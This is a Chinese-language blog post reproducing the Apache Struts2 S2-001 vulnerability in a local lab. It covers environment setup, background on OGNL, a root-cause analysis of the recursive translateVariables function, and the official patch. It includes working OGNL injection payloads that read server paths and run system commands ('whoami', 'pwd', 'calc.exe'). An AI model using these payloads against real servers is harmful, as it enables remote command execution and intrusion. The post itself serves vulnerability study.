前言
開始好好學Java,跟着師傅們的文章走一遍
Strust簡介
Struts2是流行和成熟的基於MVC設計模式的Web應用程序框架。 Struts2不只是Struts1下一個版本,它是一個完全重寫的Struts架構。
工作流程:
漏洞復現
漏洞簡介
漏洞詳情:
https://cwiki.apache.org/confluence/display/WW/S2-001
由於OGNL表達式的遞歸執行,造成了命令執行
環境搭建
mac下直接brew install tomcat
catalina run
啟動tomcat
brew services start tomcat
后台啟動服務
- Apache Tomcat/8.5.53
- IntelliJ IDEA
建好后從http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip中下載struts2的jar包
導入項目所需的包File->Project Structure
然后搭建環境,項目結構如圖
src下新建struts.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
修改web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
index.jsp
<%--
Created by IntelliJ IDEA.
User: twosmi1e
Date: 2020/11/19
Time: 2:25 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
welcome.jsp
<%--
Created by IntelliJ IDEA.
User: twosmi1e
Date: 2020/11/19
Time: 3:09 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
在src下新建名為com.demo.action
的package
LoginAction.java
package com.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}
然后點擊Build->Build Project
配置好tomcat,
homebrew安裝的tomcat home:/usr/local/Cellar/tomcat/9.0.33/libexec
run起來會看到如下畫面
漏洞利用
點擊submit后 ognl表達式會解析執行 返回2
獲取tomcat路徑
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
獲取web路徑
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
命令執行
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
OGNL表達式
OGNL是Object Graphic Navigation Language(對象圖導航語言)的縮寫,它是一種功能強大的表達式語言,使用它可以存取對象的任意屬性,調用對象的方法,使用OGNL表達式的主要作用是簡化訪問對象中的屬性值,Struts 2的
OGNL三要素
- 表達式(expression):表達式是整個OGNL的核心,通過表達式來告訴OGNL需要執行什么操作;
- 根對象(root):root可以理解為OGNL的操作對象,OGNL可以對root進行取值或寫值等操作,表達式規定了“做什么”,而根對象則規定了“對誰操作”。實際上根對象所在的環境就是 OGNL 的上下文對象環境;
- 上下文對象(context):context可以理解為對象運行的上下文環境,context以MAP的結構、利用鍵值對關系來描述對象中的屬性以及值;
表達式功能操作清單:
- 基本對象樹的訪問
對象樹的訪問就是通過使用點號將對象的引用串聯起來進行。
例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
- 對容器變量的訪問
對容器變量的訪問,通過#符號加上表達式進行。
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
- 使用操作符號
OGNL表達式中能使用的操作符基本跟Java里的操作符一樣,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,還能使用 mod, in, not in等。
- 容器、數組、對象
OGNL支持對數組和ArrayList等容器的順序訪問:例如:group.users[0]
同時,OGNL支持對Map的按鍵值查找:
例如:#session['mySessionPropKey']
不僅如此,OGNL還支持容器的構造的表達式:
例如:{"green", "red", "blue"}構造一個List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}構造一個Map
你也可以通過任意類對象的構造函數進行對象新建
例如:new Java.net.URL("xxxxxx/")
- 對靜態方法或變量的訪問
要引用類的靜態方法和字段,他們的表達方式是一樣的@class@member或者@class@method(args):
- 方法調用
直接通過類似Java的方法調用方式進行,你甚至可以傳遞參數:
例如:user.getName(),group.users.size(),group.containsUser(#requestUser)
- 投影和選擇
OGNL支持類似數據庫中的投影(projection) 和選擇(selection)。
投影就是選出集合中每個元素的相同屬性組成新的集合,類似於關系數據庫的字段操作。投影操作語法為 collection.{XXX},其中XXX 是這個集合中每個元素的公共屬性。
例如:group.userList.{username}將獲得某個group中的所有user的name的列表。
選擇就是過濾滿足selection 條件的集合元素,類似於關系數據庫的紀錄操作。選擇操作的語法為:collection.{X YYY},其中X 是一個選擇操作符,后面則是選擇用的邏輯表達式。而選擇操作符有三種:
? 選擇滿足條件的所有元素
^ 選擇滿足條件的第一個元素
$ 選擇滿足條件的最后一個元素
例如:group.userList.{? #txxx.xxx != null}將獲得某個group中user的name不為空的user的列表。
漏洞分析
由上圖工作流程我們可以看到,當一個 HTTP 請求被 Struts2 處理時,會經過一系列的 攔截器(Interceptor) ,這些攔截器可以是 Struts2 自帶的,也可以是用戶自定義的。例如下圖 struts.xml 中的 package 繼承自 struts-default ,而 struts-default 就使用了 Struts2 自帶的攔截器。
找到默認使用的攔截器棧
在攔截器棧 defaultStack 中,我們需要關注 params 這個攔截器。其中, params攔截器 會將客戶端請求數據設置到 值棧(valueStack) 中,后續 JSP 頁面中所有的動態數據都將從值棧中取出。
在經過一系列的攔截器處理后,數據會成功進入實際業務 Action 。程序會根據 Action 處理的結果,選擇對應的 JSP 視圖進行展示,並對視圖中的 Struts2 標簽進行處理。如下圖,在本例中 Action 處理用戶登錄失敗時會返回 error 。
然后到/com/opensymphony/xwork2/DefaultActionInvocation.class:253
繼續跟,主要問題在translateVariables這個函數里
/**
* Converted object from variable translation.
*
* @param open
* @param expression
* @param stack
* @param asType
* @param evaluator
* @return Converted object from variable translation.
*/
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
第一次執行的時候 會取出%{username}
的值,即%{1+1}
通過if ((start != -1) && (end != -1) && (count == 0))
的判斷,跳過return
通過Object o = stack.findValue(var, asType);
把值賦給o
然后賦值給expression,進行下一次循環
第二次循環會執行我們構造的OGNL表達式
可以看到執行后結果為2
然后再次循環,經過if判斷過后return
后面經過處理后返回index.jsp
漏洞成因呢就是在translateVariables函數中遞歸來驗證OGNL表達式,造成了OGNL表達式的執行
漏洞修復
官方修復代碼
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
int loopCount = 1;
int pos = 0;
while (true) {
int start = expression.indexOf(open + "{", pos);
if (start == -1) {
pos = 0;
loopCount++;
start = expression.indexOf(open + "{");
}
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
String middle = null;
if (o != null) {
middle = o.toString();
if (!TextUtils.stringSet(left)) {
result = o;
} else {
result = left + middle;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + middle + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
(middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
1;
pos = Math.max(pos, 1);
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
可以看到增加了對OGNL遞歸解析次數的判斷,默認情況下只會解析第一層
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
總結
入門找了S2-001跟着師傅們的文章學習了一下,原理還是很簡單,就是調試java過程很費時間。
最后彈個計算器收尾吧,(不知道為什么mac上彈/System/Application/Calculator.app沒彈成功
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}
參考
https://mochazz.github.io/2020/06/16/Java代碼審計之Struts2-001/#漏洞分析
https://xz.aliyun.com/t/2672
https://xz.aliyun.com/t/2044